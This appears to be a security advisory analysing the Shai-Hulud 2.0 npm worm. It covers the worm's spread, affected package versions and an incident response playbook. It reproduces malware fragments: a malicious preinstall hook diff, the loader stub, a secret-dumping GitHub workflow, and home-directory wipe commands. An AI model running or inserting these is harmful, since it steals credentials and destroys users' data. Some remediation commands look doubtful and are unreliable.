Shai-Hulud 2.0 Awakens: NPM Worm Escalates from September's 18-Package Chaos
The Worm Returns: A Supply Chain Nightmare
On November 24, 2025, security researchers at HelixGuard detected a coordinated attack that would become one of the most sophisticated npm supply chain compromises ever recorded. Within just a few hours, over 1,000 npm packages were poisoned and more than 27,000 GitHub repositories were infected.
The attacker's calling card? A GitHub Action runner named SHA1HULUD and repository descriptions reading "Sha1-Hulud: The Second Coming"—a clear callback to September 2025's original Shai-Hulud attack.

From September's Seeds to November's Storm
Back in September 2025, the JavaScript ecosystem was shaken by a supply-chain attack compromising 18 critical npm packages including chalk, debug, and ansi-styles—collectively boasting 2.6 billion weekly downloads. Attackers phished maintainer accounts via fake "npmjs.help" domains, injecting crypto-wallet drainers that lived for just 2 hours before community detection.
What started as a "one-off" incident ballooned into the Shai-Hulud worm discovery—a self-replicating threat spreading across 500+ packages via bundle.js payloads, scanning for secrets with TruffleHog and exfiltrating to GitHub repositories.
November 24th marked the evolution. Shai-Hulud 2.0 struck with surgical precision: patient zero hitting AsyncAPI's CLI repo at 3:16 AM GMT, then cascading to 1,000+ unique packages across major organizations including Zapier, ENS Domains, PostHog, Postman, Voiceflow, and dozens more.
How The Attack Works
Shai-Hulud 2.0 weaponizes preinstall hooks in package.json to drop two malicious files. Taking the @asyncapi/specs component as an example, comparing the poisoned version with the clean GitHub repository reveals the injection method:
diff --git a/package.json b/package.json
index v6.8.1..v6.8.2 100644
--- a/package.json
+++ b/package.json
@@ -1,10 +1,11 @@
{
"name": "@asyncapi/specs",
- "version": "6.8.1",
+ "version": "6.8.2",
"description": "AsyncAPI schema versions",
"main": "index.js",
"types": "index.d.ts",
"scripts": {
+ "preinstall": "node setup_bun.js",
"test": "npm run build && vitest run && npm run validate:schemas",
The Two-Stage Payload
Stage 1: setup_bun.js - Mimics legitimate Bun setup code while silently invoking the malicious payload:
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
Stage 2: bun_environment.js - A heavily obfuscated 10MB+ JavaScript file executed via the Bun runtime (not Node.js) to evade traditional scanners. Its capabilities include:
- Cloud Credential Harvesting: Scans AWS IMDSv2 across 17 regions, GCP ADC, Azure Instance Metadata/Pod Identity
- Secrets Manager Queries: AWS Secrets Manager, Parameter Store, GCP Secret Manager, Azure Key Vault
- Local Secret Scanning: Deploys TruffleHog to crawl
$HOMEfor.envfiles,.aws/credentials, GitHub tokens, and environment variables - Data Exfiltration: Uploads stolen secrets to randomly-named GitHub repositories
Destructive Fallback
If GitHub/NPM authentication fails, the malware wipes the user's home directory:
- Unix/Linux:
shred -uvz * - Windows:
del /F /Q /S %USERPROFILE%\*
Self-Propagation: The Worm's Edge
Unlike September's manual compromises, Shai-Hulud 2.0 automates its spread. Once executed, the malware:
- Reads stolen npm tokens from the environment
- Modifies
package.jsonof other packages the maintainer owns - Injects
setup_bun.jsandbun_environment.jsinto those packages - Repacks and executes
npm publishusing the stolen credentials
This worm-like behavior explains the rapid infection timeline:
| Time (GMT) | Target | Packages Infected |
|---|---|---|
| 3:16 AM | AsyncAPI CLI | 36 packages |
| 4:11 AM | PostHog | 15+ packages |
| 5:09 AM | Postman | 20+ packages |
| Hours later | Zapier, ENS Domains | 20+ packages |
GitHub Actions as Command & Control
Beyond credential theft, Shai-Hulud 2.0 establishes persistent backdoors by injecting malicious GitHub workflows:
# .github/workflows/formatter_123456789.yml
name: Code Formatter
on:
discussion:
types: [created, edited]
jobs:
format:
runs-on: self-hosted
steps:
- name: Format Code
run: echo "${{ toJSON(secrets) }}" | base64
The malware creates self-hosted runners named SHA1HULUD that poll GitHub Discussions for base64-encoded commands—enabling full remote code execution on victim repositories.

Decoded stolen secrets reveal the extent of the breach:
[
{
"EC2_SSH_KEY": "...",
"github_token": "...",
"AWS_SECRET_ACCESS_KEY": "...",
"SLACK_WEBHOOK_URL": "...",
"CODECOV_TOKEN": "..."
},
{
"github_token": "...",
"FIREBASE_TOKEN": "...",
"EXPO_TOKEN": "..."
}
]
High-Profile Compromised Packages
Revert these immediately if present in your dependency tree:
Zapier
@zapier/zapier-sdk- versions0.15.5to0.15.7zapier-platform-core- versions18.0.2to18.0.4zapier-platform-cli- versions18.0.2to18.0.4
ENS Domains
@ensdomains/ens-validation- version0.1.1@ensdomains/content-hash- version3.0.1ethereum-ens- version0.8.1@ensdomains/ensjs- version4.0.3
AsyncAPI (36+ packages)
@asyncapi/cli- version4.1.2@asyncapi/specs- versions6.8.2,6.8.3,6.9.1,6.10.1@asyncapi/generator- version2.8.5@asyncapi/parser- versions3.4.1,3.4.2
PostHog
posthog-node- versions4.18.1,5.11.3,5.13.3posthog-js- version1.297.3@posthog/cli- version0.5.15
Postman
@postman/postman-collection-fork- versions4.3.3to4.3.5@postman/csv-parse- versions4.0.3to4.0.5@postman/postman-mcp-server- versions2.4.10,2.4.11
Voiceflow (50+ packages)
@voiceflow/common- versions8.9.1,8.9.2@voiceflow/api-sdk- versions3.28.58,3.28.59@voiceflow/react-chat- version1.65.4
Other Notable Targets
@browserbasehq/stagehand- version3.0.4@oku-ui/primitives- version0.7.9mcp-use- versions1.4.2,1.4.3silgi- version0.43.30
Impact Comparison
| Metric | September 2025 | November 2025 (2.0) |
|---|---|---|
| Packages Compromised | 18 → 500+ | 1,000+ unique |
| Weekly Downloads | 2.6 billion | 132+ million monthly |
| Organizations Hit | Maintainers only | 150+ including enterprise |
| GitHub Repos Infected | ~1,000 | 27,000+ |
| Exfil Method | Single repo dump | Randomized repos |
| Persistence | bundle.js | Bun runtime + GitHub runners |
| Evasion | None | Bun execution bypasses Node.js scanners |
Incident Response Playbook
1. Audit Your Dependencies
# Search for affected packages
npm ls | grep -iE 'zapier|ensdomains|asyncapi|posthog|postman|voiceflow|browserbase'
# Run security audit
npm audit
2. Hunt for Malicious Payloads
# Search for dropped files
find ~ -name "setup_bun.js" -o -name "bun_environment.js" -o -name "*.bun" 2>/dev/null
# Verify file hashes
sha256sum setup_bun.js
# Known malicious: a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
3. Revert and Pin Versions
# Downgrade to pre-November 24 versions
npm install @asyncapi/specs@6.8.0
# Lock dependencies
npm ci --package-lock-only
4. GitHub Cleanup
# Search for malicious repos in your org
gh search repos --owner YOUR_ORG "Sha1-Hulud"
# Search for suspicious workflows
find .github/workflows -name "formatter_*.yml"
# Rotate ALL tokens
gh auth refresh --scopes all
5. Harden Your CI/CD
- Disable
preinstallandpostinstallscripts in CI:npm ci --ignore-scripts - Implement SCA scanning with tools like Socket, Aikido, or Snyk
- Enforce MFA and SSO on npm and GitHub accounts
- Monitor for runners named
SHA1HULUD
Key Takeaways
-
Supply chain attacks are evolving - Attackers now use alternative runtimes (Bun) to evade Node.js-focused security tools
-
Worm propagation is real - Stolen credentials enable automated infection of downstream packages
-
GitHub Actions are attack surfaces - Self-hosted runners and discussion-based C2 channels are now weaponized
-
Transitive dependencies matter - Even if you don't directly use these packages, they may be deep in your dependency tree
-
Speed is critical - The entire attack wave completed in hours; real-time monitoring is essential
References
- HelixGuard - Shai-Hulud Returns Analysis
- Socket.dev - NPM Security Advisory
- Datadog Security Labs - Full IOC List
Stay vigilant. The npm ecosystem's trust model is under attack, and every npm install is a potential entry point.